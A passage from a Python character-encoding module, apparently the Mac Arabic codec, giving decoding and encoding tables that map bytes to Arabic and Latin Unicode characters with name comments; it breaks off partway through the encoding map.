WITH DIAERESIS 0x0096: 0x00f1, # LATIN SMALL LETTER N WITH TILDE 0x0097: 0x00f3, # LATIN SMALL LETTER O WITH ACUTE 0x0098: 0x00bb, # RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left 0x0099: 0x00f4, # LATIN SMALL LETTER O WITH CIRCUMFLEX 0x009a: 0x00f6, # LATIN SMALL LETTER O WITH DIAERESIS 0x009b: 0x00f7, # DIVISION SIGN, right-left 0x009c: 0x00fa, # LATIN SMALL LETTER U WITH ACUTE 0x009d: 0x00f9, # LATIN SMALL LETTER U WITH GRAVE 0x009e: 0x00fb, # LATIN SMALL LETTER U WITH CIRCUMFLEX 0x009f: 0x00fc, # LATIN SMALL LETTER U WITH DIAERESIS 0x00a0: 0x0020, # SPACE, right-left 0x00a1: 0x0021, # EXCLAMATION MARK, right-left 0x00a2: 0x0022, # QUOTATION MARK, right-left 0x00a3: 0x0023, # NUMBER SIGN, right-left 0x00a4: 0x0024, # DOLLAR SIGN, right-left 0x00a5: 0x066a, # ARABIC PERCENT SIGN 0x00a6: 0x0026, # AMPERSAND, right-left 0x00a7: 0x0027, # APOSTROPHE, right-left 0x00a8: 0x0028, # LEFT PARENTHESIS, right-left 0x00a9: 0x0029, # RIGHT PARENTHESIS, right-left 0x00aa: 0x002a, # ASTERISK, right-left 0x00ab: 0x002b, # PLUS SIGN, right-left 0x00ac: 0x060c, # ARABIC COMMA 0x00ad: 0x002d, # HYPHEN-MINUS, right-left 0x00ae: 0x002e, # FULL STOP, right-left 0x00af: 0x002f, # SOLIDUS, right-left 0x00b0: 0x0660, # ARABIC-INDIC DIGIT ZERO, right-left (need override) 0x00b1: 0x0661, # ARABIC-INDIC DIGIT ONE, right-left (need override) 0x00b2: 0x0662, # ARABIC-INDIC DIGIT TWO, right-left (need override) 0x00b3: 0x0663, # ARABIC-INDIC DIGIT THREE, right-left (need override) 0x00b4: 0x0664, # ARABIC-INDIC DIGIT FOUR, right-left (need override) 0x00b5: 0x0665, # ARABIC-INDIC DIGIT FIVE, right-left (need override) 0x00b6: 0x0666, # ARABIC-INDIC DIGIT SIX, right-left (need override) 0x00b7: 0x0667, # ARABIC-INDIC DIGIT SEVEN, right-left (need override) 0x00b8: 0x0668, # ARABIC-INDIC DIGIT EIGHT, right-left (need override) 0x00b9: 0x0669, # ARABIC-INDIC DIGIT NINE, right-left (need override) 0x00ba: 0x003a, # COLON, right-left 0x00bb: 0x061b, # ARABIC SEMICOLON 0x00bc: 0x003c, # LESS-THAN SIGN, right-left 0x00bd: 0x003d, # EQUALS SIGN, right-left 0x00be: 0x003e, # GREATER-THAN SIGN, right-left 0x00bf: 0x061f, # ARABIC QUESTION MARK 0x00c0: 0x274a, # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK, right-left 0x00c1: 0x0621, # ARABIC LETTER HAMZA 0x00c2: 0x0622, # ARABIC LETTER ALEF WITH MADDA ABOVE 0x00c3: 0x0623, # ARABIC LETTER ALEF WITH HAMZA ABOVE 0x00c4: 0x0624, # ARABIC LETTER WAW WITH HAMZA ABOVE 0x00c5: 0x0625, # ARABIC LETTER ALEF WITH HAMZA BELOW 0x00c6: 0x0626, # ARABIC LETTER YEH WITH HAMZA ABOVE 0x00c7: 0x0627, # ARABIC LETTER ALEF 0x00c8: 0x0628, # ARABIC LETTER BEH 0x00c9: 0x0629, # ARABIC LETTER TEH MARBUTA 0x00ca: 0x062a, # ARABIC LETTER TEH 0x00cb: 0x062b, # ARABIC LETTER THEH 0x00cc: 0x062c, # ARABIC LETTER JEEM 0x00cd: 0x062d, # ARABIC LETTER HAH 0x00ce: 0x062e, # ARABIC LETTER KHAH 0x00cf: 0x062f, # ARABIC LETTER DAL 0x00d0: 0x0630, # ARABIC LETTER THAL 0x00d1: 0x0631, # ARABIC LETTER REH 0x00d2: 0x0632, # ARABIC LETTER ZAIN 0x00d3: 0x0633, # ARABIC LETTER SEEN 0x00d4: 0x0634, # ARABIC LETTER SHEEN 0x00d5: 0x0635, # ARABIC LETTER SAD 0x00d6: 0x0636, # ARABIC LETTER DAD 0x00d7: 0x0637, # ARABIC LETTER TAH 0x00d8: 0x0638, # ARABIC LETTER ZAH 0x00d9: 0x0639, # ARABIC LETTER AIN 0x00da: 0x063a, # ARABIC LETTER GHAIN 0x00db: 0x005b, # LEFT SQUARE BRACKET, right-left 0x00dc: 0x005c, # REVERSE SOLIDUS, right-left 0x00dd: 0x005d, # RIGHT SQUARE BRACKET, right-left 0x00de: 0x005e, # CIRCUMFLEX ACCENT, right-left 0x00df: 0x005f, # LOW LINE, right-left 0x00e0: 0x0640, # ARABIC TATWEEL 0x00e1: 0x0641, # ARABIC LETTER FEH 0x00e2: 0x0642, # ARABIC LETTER QAF 0x00e3: 0x0643, # ARABIC LETTER KAF 0x00e4: 0x0644, # ARABIC LETTER LAM 0x00e5: 0x0645, # ARABIC LETTER MEEM 0x00e6: 0x0646, # ARABIC LETTER NOON 0x00e7: 0x0647, # ARABIC LETTER HEH 0x00e8: 0x0648, # ARABIC LETTER WAW 0x00e9: 0x0649, # ARABIC LETTER ALEF MAKSURA 0x00ea: 0x064a, # ARABIC LETTER YEH 0x00eb: 0x064b, # ARABIC FATHATAN 0x00ec: 0x064c, # ARABIC DAMMATAN 0x00ed: 0x064d, # ARABIC KASRATAN 0x00ee: 0x064e, # ARABIC FATHA 0x00ef: 0x064f, # ARABIC DAMMA 0x00f0: 0x0650, # ARABIC KASRA 0x00f1: 0x0651, # ARABIC SHADDA 0x00f2: 0x0652, # ARABIC SUKUN 0x00f3: 0x067e, # ARABIC LETTER PEH 0x00f4: 0x0679, # ARABIC LETTER TTEH 0x00f5: 0x0686, # ARABIC LETTER TCHEH 0x00f6: 0x06d5, # ARABIC LETTER AE 0x00f7: 0x06a4, # ARABIC LETTER VEH 0x00f8: 0x06af, # ARABIC LETTER GAF 0x00f9: 0x0688, # ARABIC LETTER DDAL 0x00fa: 0x0691, # ARABIC LETTER RREH 0x00fb: 0x007b, # LEFT CURLY BRACKET, right-left 0x00fc: 0x007c, # VERTICAL LINE, right-left 0x00fd: 0x007d, # RIGHT CURLY BRACKET, right-left 0x00fe: 0x0698, # ARABIC LETTER JEH 0x00ff: 0x06d2, # ARABIC LETTER YEH BARREE }) ### Decoding Table decoding_table = ( '\x00' # 0x0000 -> CONTROL CHARACTER '\x01' # 0x0001 -> CONTROL CHARACTER '\x02' # 0x0002 -> CONTROL CHARACTER '\x03' # 0x0003 -> CONTROL CHARACTER '\x04' # 0x0004 -> CONTROL CHARACTER '\x05' # 0x0005 -> CONTROL CHARACTER '\x06' # 0x0006 -> CONTROL CHARACTER '\x07' # 0x0007 -> CONTROL CHARACTER '\x08' # 0x0008 -> CONTROL CHARACTER '\t' # 0x0009 -> CONTROL CHARACTER '\n' # 0x000a -> CONTROL CHARACTER '\x0b' # 0x000b -> CONTROL CHARACTER '\x0c' # 0x000c -> CONTROL CHARACTER '\r' # 0x000d -> CONTROL CHARACTER '\x0e' # 0x000e -> CONTROL CHARACTER '\x0f' # 0x000f -> CONTROL CHARACTER '\x10' # 0x0010 -> CONTROL CHARACTER '\x11' # 0x0011 -> CONTROL CHARACTER '\x12' # 0x0012 -> CONTROL CHARACTER '\x13' # 0x0013 -> CONTROL CHARACTER '\x14' # 0x0014 -> CONTROL CHARACTER '\x15' # 0x0015 -> CONTROL CHARACTER '\x16' # 0x0016 -> CONTROL CHARACTER '\x17' # 0x0017 -> CONTROL CHARACTER '\x18' # 0x0018 -> CONTROL CHARACTER '\x19' # 0x0019 -> CONTROL CHARACTER '\x1a' # 0x001a -> CONTROL CHARACTER '\x1b' # 0x001b -> CONTROL CHARACTER '\x1c' # 0x001c -> CONTROL CHARACTER '\x1d' # 0x001d -> CONTROL CHARACTER '\x1e' # 0x001e -> CONTROL CHARACTER '\x1f' # 0x001f -> CONTROL CHARACTER ' ' # 0x0020 -> SPACE, left-right '!' # 0x0021 -> EXCLAMATION MARK, left-right '"' # 0x0022 -> QUOTATION MARK, left-right '#' # 0x0023 -> NUMBER SIGN, left-right '$' # 0x0024 -> DOLLAR SIGN, left-right '%' # 0x0025 -> PERCENT SIGN, left-right '&' # 0x0026 -> AMPERSAND, left-right "'" # 0x0027 -> APOSTROPHE, left-right '(' # 0x0028 -> LEFT PARENTHESIS, left-right ')' # 0x0029 -> RIGHT PARENTHESIS, left-right '*' # 0x002a -> ASTERISK, left-right '+' # 0x002b -> PLUS SIGN, left-right ',' # 0x002c -> COMMA, left-right; in Arabic-script context, displayed as 0x066C ARABIC THOUSANDS SEPARATOR '-' # 0x002d -> HYPHEN-MINUS, left-right '.' # 0x002e -> FULL STOP, left-right; in Arabic-script context, displayed as 0x066B ARABIC DECIMAL SEPARATOR '/' # 0x002f -> SOLIDUS, left-right '0' # 0x0030 -> DIGIT ZERO; in Arabic-script context, displayed as 0x0660 ARABIC-INDIC DIGIT ZERO '1' # 0x0031 -> DIGIT ONE; in Arabic-script context, displayed as 0x0661 ARABIC-INDIC DIGIT ONE '2' # 0x0032 -> DIGIT TWO; in Arabic-script context, displayed as 0x0662 ARABIC-INDIC DIGIT TWO '3' # 0x0033 -> DIGIT THREE; in Arabic-script context, displayed as 0x0663 ARABIC-INDIC DIGIT THREE '4' # 0x0034 -> DIGIT FOUR; in Arabic-script context, displayed as 0x0664 ARABIC-INDIC DIGIT FOUR '5' # 0x0035 -> DIGIT FIVE; in Arabic-script context, displayed as 0x0665 ARABIC-INDIC DIGIT FIVE '6' # 0x0036 -> DIGIT SIX; in Arabic-script context, displayed as 0x0666 ARABIC-INDIC DIGIT SIX '7' # 0x0037 -> DIGIT SEVEN; in Arabic-script context, displayed as 0x0667 ARABIC-INDIC DIGIT SEVEN '8' # 0x0038 -> DIGIT EIGHT; in Arabic-script context, displayed as 0x0668 ARABIC-INDIC DIGIT EIGHT '9' # 0x0039 -> DIGIT NINE; in Arabic-script context, displayed as 0x0669 ARABIC-INDIC DIGIT NINE ':' # 0x003a -> COLON, left-right ';' # 0x003b -> SEMICOLON, left-right '<' # 0x003c -> LESS-THAN SIGN, left-right '=' # 0x003d -> EQUALS SIGN, left-right '>' # 0x003e -> GREATER-THAN SIGN, left-right '?' # 0x003f -> QUESTION MARK, left-right '@' # 0x0040 -> COMMERCIAL AT 'A' # 0x0041 -> LATIN CAPITAL LETTER A 'B' # 0x0042 -> LATIN CAPITAL LETTER B 'C' # 0x0043 -> LATIN CAPITAL LETTER C 'D' # 0x0044 -> LATIN CAPITAL LETTER D 'E' # 0x0045 -> LATIN CAPITAL LETTER E 'F' # 0x0046 -> LATIN CAPITAL LETTER F 'G' # 0x0047 -> LATIN CAPITAL LETTER G 'H' # 0x0048 -> LATIN CAPITAL LETTER H 'I' # 0x0049 -> LATIN CAPITAL LETTER I 'J' # 0x004a -> LATIN CAPITAL LETTER J 'K' # 0x004b -> LATIN CAPITAL LETTER K 'L' # 0x004c -> LATIN CAPITAL LETTER L 'M' # 0x004d -> LATIN CAPITAL LETTER M 'N' # 0x004e -> LATIN CAPITAL LETTER N 'O' # 0x004f -> LATIN CAPITAL LETTER O 'P' # 0x0050 -> LATIN CAPITAL LETTER P 'Q' # 0x0051 -> LATIN CAPITAL LETTER Q 'R' # 0x0052 -> LATIN CAPITAL LETTER R 'S' # 0x0053 -> LATIN CAPITAL LETTER S 'T' # 0x0054 -> LATIN CAPITAL LETTER T 'U' # 0x0055 -> LATIN CAPITAL LETTER U 'V' # 0x0056 -> LATIN CAPITAL LETTER V 'W' # 0x0057 -> LATIN CAPITAL LETTER W 'X' # 0x0058 -> LATIN CAPITAL LETTER X 'Y' # 0x0059 -> LATIN CAPITAL LETTER Y 'Z' # 0x005a -> LATIN CAPITAL LETTER Z '[' # 0x005b -> LEFT SQUARE BRACKET, left-right '\\' # 0x005c -> REVERSE SOLIDUS, left-right ']' # 0x005d -> RIGHT SQUARE BRACKET, left-right '^' # 0x005e -> CIRCUMFLEX ACCENT, left-right '_' # 0x005f -> LOW LINE, left-right '`' # 0x0060 -> GRAVE ACCENT 'a' # 0x0061 -> LATIN SMALL LETTER A 'b' # 0x0062 -> LATIN SMALL LETTER B 'c' # 0x0063 -> LATIN SMALL LETTER C 'd' # 0x0064 -> LATIN SMALL LETTER D 'e' # 0x0065 -> LATIN SMALL LETTER E 'f' # 0x0066 -> LATIN SMALL LETTER F 'g' # 0x0067 -> LATIN SMALL LETTER G 'h' # 0x0068 -> LATIN SMALL LETTER H 'i' # 0x0069 -> LATIN SMALL LETTER I 'j' # 0x006a -> LATIN SMALL LETTER J 'k' # 0x006b -> LATIN SMALL LETTER K 'l' # 0x006c -> LATIN SMALL LETTER L 'm' # 0x006d -> LATIN SMALL LETTER M 'n' # 0x006e -> LATIN SMALL LETTER N 'o' # 0x006f -> LATIN SMALL LETTER O 'p' # 0x0070 -> LATIN SMALL LETTER P 'q' # 0x0071 -> LATIN SMALL LETTER Q 'r' # 0x0072 -> LATIN SMALL LETTER R 's' # 0x0073 -> LATIN SMALL LETTER S 't' # 0x0074 -> LATIN SMALL LETTER T 'u' # 0x0075 -> LATIN SMALL LETTER U 'v' # 0x0076 -> LATIN SMALL LETTER V 'w' # 0x0077 -> LATIN SMALL LETTER W 'x' # 0x0078 -> LATIN SMALL LETTER X 'y' # 0x0079 -> LATIN SMALL LETTER Y 'z' # 0x007a -> LATIN SMALL LETTER Z '{' # 0x007b -> LEFT CURLY BRACKET, left-right '|' # 0x007c -> VERTICAL LINE, left-right '}' # 0x007d -> RIGHT CURLY BRACKET, left-right '~' # 0x007e -> TILDE '\x7f' # 0x007f -> CONTROL CHARACTER '\xc4' # 0x0080 -> LATIN CAPITAL LETTER A WITH DIAERESIS '\xa0' # 0x0081 -> NO-BREAK SPACE, right-left '\xc7' # 0x0082 -> LATIN CAPITAL LETTER C WITH CEDILLA '\xc9' # 0x0083 -> LATIN CAPITAL LETTER E WITH ACUTE '\xd1' # 0x0084 -> LATIN CAPITAL LETTER N WITH TILDE '\xd6' # 0x0085 -> LATIN CAPITAL LETTER O WITH DIAERESIS '\xdc' # 0x0086 -> LATIN CAPITAL LETTER U WITH DIAERESIS '\xe1' # 0x0087 -> LATIN SMALL LETTER A WITH ACUTE '\xe0' # 0x0088 -> LATIN SMALL LETTER A WITH GRAVE '\xe2' # 0x0089 -> LATIN SMALL LETTER A WITH CIRCUMFLEX '\xe4' # 0x008a -> LATIN SMALL LETTER A WITH DIAERESIS '\u06ba' # 0x008b -> ARABIC LETTER NOON GHUNNA '\xab' # 0x008c -> LEFT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left '\xe7' # 0x008d -> LATIN SMALL LETTER C WITH CEDILLA '\xe9' # 0x008e -> LATIN SMALL LETTER E WITH ACUTE '\xe8' # 0x008f -> LATIN SMALL LETTER E WITH GRAVE '\xea' # 0x0090 -> LATIN SMALL LETTER E WITH CIRCUMFLEX '\xeb' # 0x0091 -> LATIN SMALL LETTER E WITH DIAERESIS '\xed' # 0x0092 -> LATIN SMALL LETTER I WITH ACUTE '\u2026' # 0x0093 -> HORIZONTAL ELLIPSIS, right-left '\xee' # 0x0094 -> LATIN SMALL LETTER I WITH CIRCUMFLEX '\xef' # 0x0095 -> LATIN SMALL LETTER I WITH DIAERESIS '\xf1' # 0x0096 -> LATIN SMALL LETTER N WITH TILDE '\xf3' # 0x0097 -> LATIN SMALL LETTER O WITH ACUTE '\xbb' # 0x0098 -> RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK, right-left '\xf4' # 0x0099 -> LATIN SMALL LETTER O WITH CIRCUMFLEX '\xf6' # 0x009a -> LATIN SMALL LETTER O WITH DIAERESIS '\xf7' # 0x009b -> DIVISION SIGN, right-left '\xfa' # 0x009c -> LATIN SMALL LETTER U WITH ACUTE '\xf9' # 0x009d -> LATIN SMALL LETTER U WITH GRAVE '\xfb' # 0x009e -> LATIN SMALL LETTER U WITH CIRCUMFLEX '\xfc' # 0x009f -> LATIN SMALL LETTER U WITH DIAERESIS ' ' # 0x00a0 -> SPACE, right-left '!' # 0x00a1 -> EXCLAMATION MARK, right-left '"' # 0x00a2 -> QUOTATION MARK, right-left '#' # 0x00a3 -> NUMBER SIGN, right-left '$' # 0x00a4 -> DOLLAR SIGN, right-left '\u066a' # 0x00a5 -> ARABIC PERCENT SIGN '&' # 0x00a6 -> AMPERSAND, right-left "'" # 0x00a7 -> APOSTROPHE, right-left '(' # 0x00a8 -> LEFT PARENTHESIS, right-left ')' # 0x00a9 -> RIGHT PARENTHESIS, right-left '*' # 0x00aa -> ASTERISK, right-left '+' # 0x00ab -> PLUS SIGN, right-left '\u060c' # 0x00ac -> ARABIC COMMA '-' # 0x00ad -> HYPHEN-MINUS, right-left '.' # 0x00ae -> FULL STOP, right-left '/' # 0x00af -> SOLIDUS, right-left '\u0660' # 0x00b0 -> ARABIC-INDIC DIGIT ZERO, right-left (need override) '\u0661' # 0x00b1 -> ARABIC-INDIC DIGIT ONE, right-left (need override) '\u0662' # 0x00b2 -> ARABIC-INDIC DIGIT TWO, right-left (need override) '\u0663' # 0x00b3 -> ARABIC-INDIC DIGIT THREE, right-left (need override) '\u0664' # 0x00b4 -> ARABIC-INDIC DIGIT FOUR, right-left (need override) '\u0665' # 0x00b5 -> ARABIC-INDIC DIGIT FIVE, right-left (need override) '\u0666' # 0x00b6 -> ARABIC-INDIC DIGIT SIX, right-left (need override) '\u0667' # 0x00b7 -> ARABIC-INDIC DIGIT SEVEN, right-left (need override) '\u0668' # 0x00b8 -> ARABIC-INDIC DIGIT EIGHT, right-left (need override) '\u0669' # 0x00b9 -> ARABIC-INDIC DIGIT NINE, right-left (need override) ':' # 0x00ba -> COLON, right-left '\u061b' # 0x00bb -> ARABIC SEMICOLON '<' # 0x00bc -> LESS-THAN SIGN, right-left '=' # 0x00bd -> EQUALS SIGN, right-left '>' # 0x00be -> GREATER-THAN SIGN, right-left '\u061f' # 0x00bf -> ARABIC QUESTION MARK '\u274a' # 0x00c0 -> EIGHT TEARDROP-SPOKED PROPELLER ASTERISK, right-left '\u0621' # 0x00c1 -> ARABIC LETTER HAMZA '\u0622' # 0x00c2 -> ARABIC LETTER ALEF WITH MADDA ABOVE '\u0623' # 0x00c3 -> ARABIC LETTER ALEF WITH HAMZA ABOVE '\u0624' # 0x00c4 -> ARABIC LETTER WAW WITH HAMZA ABOVE '\u0625' # 0x00c5 -> ARABIC LETTER ALEF WITH HAMZA BELOW '\u0626' # 0x00c6 -> ARABIC LETTER YEH WITH HAMZA ABOVE '\u0627' # 0x00c7 -> ARABIC LETTER ALEF '\u0628' # 0x00c8 -> ARABIC LETTER BEH '\u0629' # 0x00c9 -> ARABIC LETTER TEH MARBUTA '\u062a' # 0x00ca -> ARABIC LETTER TEH '\u062b' # 0x00cb -> ARABIC LETTER THEH '\u062c' # 0x00cc -> ARABIC LETTER JEEM '\u062d' # 0x00cd -> ARABIC LETTER HAH '\u062e' # 0x00ce -> ARABIC LETTER KHAH '\u062f' # 0x00cf -> ARABIC LETTER DAL '\u0630' # 0x00d0 -> ARABIC LETTER THAL '\u0631' # 0x00d1 -> ARABIC LETTER REH '\u0632' # 0x00d2 -> ARABIC LETTER ZAIN '\u0633' # 0x00d3 -> ARABIC LETTER SEEN '\u0634' # 0x00d4 -> ARABIC LETTER SHEEN '\u0635' # 0x00d5 -> ARABIC LETTER SAD '\u0636' # 0x00d6 -> ARABIC LETTER DAD '\u0637' # 0x00d7 -> ARABIC LETTER TAH '\u0638' # 0x00d8 -> ARABIC LETTER ZAH '\u0639' # 0x00d9 -> ARABIC LETTER AIN '\u063a' # 0x00da -> ARABIC LETTER GHAIN '[' # 0x00db -> LEFT SQUARE BRACKET, right-left '\\' # 0x00dc -> REVERSE SOLIDUS, right-left ']' # 0x00dd -> RIGHT SQUARE BRACKET, right-left '^' # 0x00de -> CIRCUMFLEX ACCENT, right-left '_' # 0x00df -> LOW LINE, right-left '\u0640' # 0x00e0 -> ARABIC TATWEEL '\u0641' # 0x00e1 -> ARABIC LETTER FEH '\u0642' # 0x00e2 -> ARABIC LETTER QAF '\u0643' # 0x00e3 -> ARABIC LETTER KAF '\u0644' # 0x00e4 -> ARABIC LETTER LAM '\u0645' # 0x00e5 -> ARABIC LETTER MEEM '\u0646' # 0x00e6 -> ARABIC LETTER NOON '\u0647' # 0x00e7 -> ARABIC LETTER HEH '\u0648' # 0x00e8 -> ARABIC LETTER WAW '\u0649' # 0x00e9 -> ARABIC LETTER ALEF MAKSURA '\u064a' # 0x00ea -> ARABIC LETTER YEH '\u064b' # 0x00eb -> ARABIC FATHATAN '\u064c' # 0x00ec -> ARABIC DAMMATAN '\u064d' # 0x00ed -> ARABIC KASRATAN '\u064e' # 0x00ee -> ARABIC FATHA '\u064f' # 0x00ef -> ARABIC DAMMA '\u0650' # 0x00f0 -> ARABIC KASRA '\u0651' # 0x00f1 -> ARABIC SHADDA '\u0652' # 0x00f2 -> ARABIC SUKUN '\u067e' # 0x00f3 -> ARABIC LETTER PEH '\u0679' # 0x00f4 -> ARABIC LETTER TTEH '\u0686' # 0x00f5 -> ARABIC LETTER TCHEH '\u06d5' # 0x00f6 -> ARABIC LETTER AE '\u06a4' # 0x00f7 -> ARABIC LETTER VEH '\u06af' # 0x00f8 -> ARABIC LETTER GAF '\u0688' # 0x00f9 -> ARABIC LETTER DDAL '\u0691' # 0x00fa -> ARABIC LETTER RREH '{' # 0x00fb -> LEFT CURLY BRACKET, right-left '|' # 0x00fc -> VERTICAL LINE, right-left '}' # 0x00fd -> RIGHT CURLY BRACKET, right-left '\u0698' # 0x00fe -> ARABIC LETTER JEH '\u06d2' # 0x00ff -> ARABIC LETTER YEH BARREE ) ### Encoding Map encoding_map = { 0x0000: 0x0000, # CONTROL CHARACTER 0x0001: 0x0001, # CONTROL CHARACTER 0x0002: 0x0002, # CONTROL CHARACTER 0x0003: 0x0003, # CONTROL CHARACTER 0x0004: 0x0004, # CONTROL CHARACTER 0x0005: 0x0005, # CONTROL CHARACTER 0x0006: 0x0006, # CONTROL CHARACTER 0x0007: 0x0007, # CONTROL CHARACTER 0x0008: 0x0008, # CONTROL CHARACTER 0x0009: 0x0009, # CONTROL CHARACTER 0x000a: 0x000a, # CONTROL CHARACTER 0x000b: 0x000b, # CONTROL CHARACTER 0x000c: 0x000c, # CONTROL CHARACTER 0x000d: 0x000d, # CONTROL CHARACTER 0x000e: 0x000e, # CONTROL CHARACTER 0x000f: 0x000f, # CONTROL CHARACTER 0x0010: 0x0010, # CONTROL CHARACTER 0x0011: 0x0011, # CONTROL CHARACTER 0x0012: 0x0012, # CONTROL CHARACTER 0x0013: 0x0013, # CONTROL CHARACTER 0x0014: 0x0014, # CONTROL CHARACTER 0x0015: 0x0015, # CONTROL CHARACTER 0x0016: 0x0016, # CONTROL CHARACTER 0x0017: 0x0017, # CONTROL CHARACTER 0x0018: 0x0018, # CONTROL CHARACTER 0x0019: 0x0019, # CONTROL CHARACTER 0x001a: 0x001a, # CONTROL CHARACTER 0x001b: 0x001b, # CONTROL CHARACTER 0x001c: 0x001c, # CONTROL CHARACTER 0x001d: 0x001d, # CONTROL CHARACTER 0x001e: 0x001e, # CONTROL CHARACTER 0x001f: 0x001f, # CONTROL CHARACTER 0x0020: 0x0020, # SPACE, left-right 0x0020: 0x00a0, # SPACE, right-left 0x0021: 0x0021, # EXCLAMATION MARK, left-right 0x0021: 0x00a1, # EXCLAMATION MARK, right-left 0x0022: 0x0022, # QUOTATION MARK, left-right 0x0022: 0x00a2, # QUOTATION MARK, right-left 0x0023: 0x0023, # NUMBER SIGN, left-right 0x0023: 0x00a3, # NUMBER SIGN, right-left 0x0024: 0x0024, # DOLLAR SIGN, left-right 0x0024: 0x00a4, # DOLLAR SIGN, right-left 0x0025: 0x0025, # PERCENT SIGN, left-right 0x0026: 0x0026, # AMPERSAND, left-right 0x0026: 0x00a6, # AMPERSAND, right-left 0x0027: 0x0027, # APOSTROPHE, left-right 0x0027: 0x00a7, # APOSTROPHE, right-left 0x0028: 0x0028, # LEFT PARENTHESIS, left-right 0x0028: 0x00a8, # LEFT PARENTHESIS, right-left 0x0029: 0x0029, # RIGHT PARENTHESIS, left-right 0x0029: 0x00a9, # RIGHT PARENTHESIS, right-left 0x002a: 0x002a, # ASTERISK, left-right 0x002a: 0x00aa, # ASTERISK, right-left 0x002b: 0x002b, # PLUS SIGN, left-right 0x002b: 0x00ab, # PLUS SIGN, right-left 0x002c: 0x002c, # COMMA, left-right; in Arabic-script context, displayed as 0x066C ARABIC THOUSANDS SEPARATOR 0x002d: 0x002d, # HYPHEN-MINUS, left-right 0x002d: 0x00ad, # HYPHEN-MINUS, right-left 0x002e: 0x002e, # FULL STOP, left-right; in Arabic-script context, displayed as 0x066B ARABIC DECIMAL SEPARATOR 0x002e: 0x00ae, # FULL STOP, right-left 0x002f: 0x002f, # SOLIDUS, left-right 0x002f: 0x00af, # SOLIDUS, right-left 0x0030: 0x0030, # DIGIT ZERO; in Arabic-script context, displayed as 0x0660 ARABIC-INDIC DIGIT ZERO 0x0031: 0x0031, # DIGIT ONE; in Arabic-script context, displayed as 0x0661 ARABIC-INDIC DIGIT ONE 0x0032: 0x0032, # DIGIT TWO; in Arabic-script context, displayed as 0x0662 ARABIC-INDIC DIGIT TWO 0x0033: 0x0033, # DIGIT THREE; in Arabic-script context, displayed as 0x0663 ARABIC-INDIC DIGIT THREE 0x0034: 0x0034, # DIGIT FOUR; in Arabic-script context, displayed as 0x0664 ARABIC-INDIC DIGIT FOUR 0x0035: 0x0035, # DIGIT FIVE; in Arabic-script context, displayed as 0x0665 ARABIC-INDIC DIGIT FIVE 0x0036: 0x0036, # DIGIT SIX; in Arabic-script context, displayed as 0x0666 ARABIC-INDIC DIGIT SIX 0x0037: 0x0037, # DIGIT SEVEN; in Arabic-script context, displayed as 0x0667 ARABIC-INDIC DIGIT SEVEN 0x0038: 0x0038, # DIGIT EIGHT; in Arabic-script context, displayed as 0x0668 ARABIC-INDIC DIGIT EIGHT 0x0039: 0x0039, # DIGIT NINE; in Arabic-script context, displayed as 0x0669 ARABIC-INDIC DIGIT NINE 0x003a: 0x003a, # COLON, left-right 0x003a: 0x00ba, # COLON, right-left 0x003b: 0x003b, # SEMICOLON, left-right 0x003c: 0x003c, # LESS-THAN SIGN, left-right 0x003c: 0x00bc, # LESS-THAN SIGN, right-left 0x003d: 0x003d, # EQUALS SIGN, left-right 0x003d: 0x00bd, # EQUALS SIGN, right-left 0x003e: 0x003e, # GREATER-THAN SIGN, left-right 0x003e: 0x00be, # GREATER-THAN SIGN, right-left 0x003f: 0x003f, # QUESTION MARK, left-right 0x0040: 0x0040, # COMMERCIAL AT 0x0041: 0x0041, # LATIN CAPITAL LETTER A 0x0042: 0x0042, # LATIN CAPITAL LETTER B 0x0043: 0x0043, # LATIN CAPITAL LETTER C 0x0044: 0x0044, # LATIN CAPITAL LETTER D 0x0045: 0x0045, # LATIN CAPITAL LETTER E 0x0046: 0x0046, # LATIN CAPITAL LETTER F 0x0047: 0x0047, # LATIN CAPITAL LETTER G 0x0048: 0x0048, # LATIN CAPITAL LETTER H 0x0049: 0x0049, # LATIN CAPITAL LETTER I 0x004a: 0x004a, # LATIN CAPITAL LETTER J 0x004b: 0x004b, # LATIN CAPITAL LETTER K 0x004c: 0x004c, # LATIN CAPITAL LETTER L 0x004d: 0x004d, # LATIN CAPITAL LETTER M 0x004e: 0x004e, # LATIN CAPITAL LETTER N 0x004f: 0x004f, # LATIN CAPITAL LETTER O 0x0050: 0x0050, # LATIN CAPITAL LETTER P 0x0051: 0x0051, # LATIN CAPITAL LETTER Q 0x0052: 0x0052, # LATIN CAPITAL LETTER R 0x0053: 0x0053, # LATIN CAPITAL LETTER S 0x0054: 0x0054, # LATIN CAPITAL LETTER T 0x0055: 0x0055, # LATIN CAPITAL LETTER U 0x0056: 0x0056, # LATIN CAPITAL LETTER V 0x0057: 0x0057, # LATIN CAPITAL LETTER W 0x0058: 0x0058, # LATIN CAPITAL LETTER X 0x0059: 0x0059, # LATIN CAPITAL LETTER Y 0x005a: 0x005a, # LATIN CAPITAL LETTER Z 0x005b: 0x005b, # LEFT SQUARE BRACKET, left-right 0x005b: 0x00db, # LEFT SQUARE BRACKET, right-left 0x005c: 0x005c, # REVERSE SOLIDUS, left-right 0x005c: 0x00dc, # REVERSE SOLIDUS, right-left 0x005d: 0x005d, # RIGHT SQUARE BRACKET, left-right 0x005d: 0x00dd, # RIGHT SQUARE BRACKET, right-left 0x005e: 0x005e, # CIRCUMFLEX ACCENT, left-right 0x005e: 0x00de, # CIRCUMFLEX ACCENT, right-left 0x005f: 0x005f, # LOW LINE, left-right 0x005f: 0x00df, # LOW LINE, right-left 0x0060: 0x0060, # GRAVE ACCENT 0x0061: 0x0061, # LATIN SMALL LETTER A 0x0062: 0x0062, # LATIN SMALL LETTER B 0x0063: 0x0063, # LATIN SMALL LETTER C 0x0064: 0x0064, # LATIN SMALL LETTER D 0x0065: 0x0065, # LATIN SMALL LETTER E 0x0066: 0x0066, # LATIN SMALL LETTER F 0x0067: 0x0067, # LATIN SMALL LETTER G 0x0068: 0x0068, # LATIN SMALL LETTER H 0x0069: 0x0069, # LATIN SMALL LETTER I 0x006a: 0x006a, # LATIN SMALL LETTER J 0x006b: 0x006b, # LATIN SMALL LETTER K 0x006c: 0x006c, # LATIN SMALL LETTER L 0x006d: 0x006d, # LATIN SMALL LETTER M 0x006e: 0x006e, # LATIN SMALL LETTER N 0x006f: 0x006f, # LATIN SMALL LETTER O 0x0070: 0x0070, # LATIN SMALL LETTER P 0x0071: 0x0071, # LATIN SMALL LETTER Q 0x0072: 0x0072, # LATIN SMALL LETTER R 0x0073: 0x0073, # 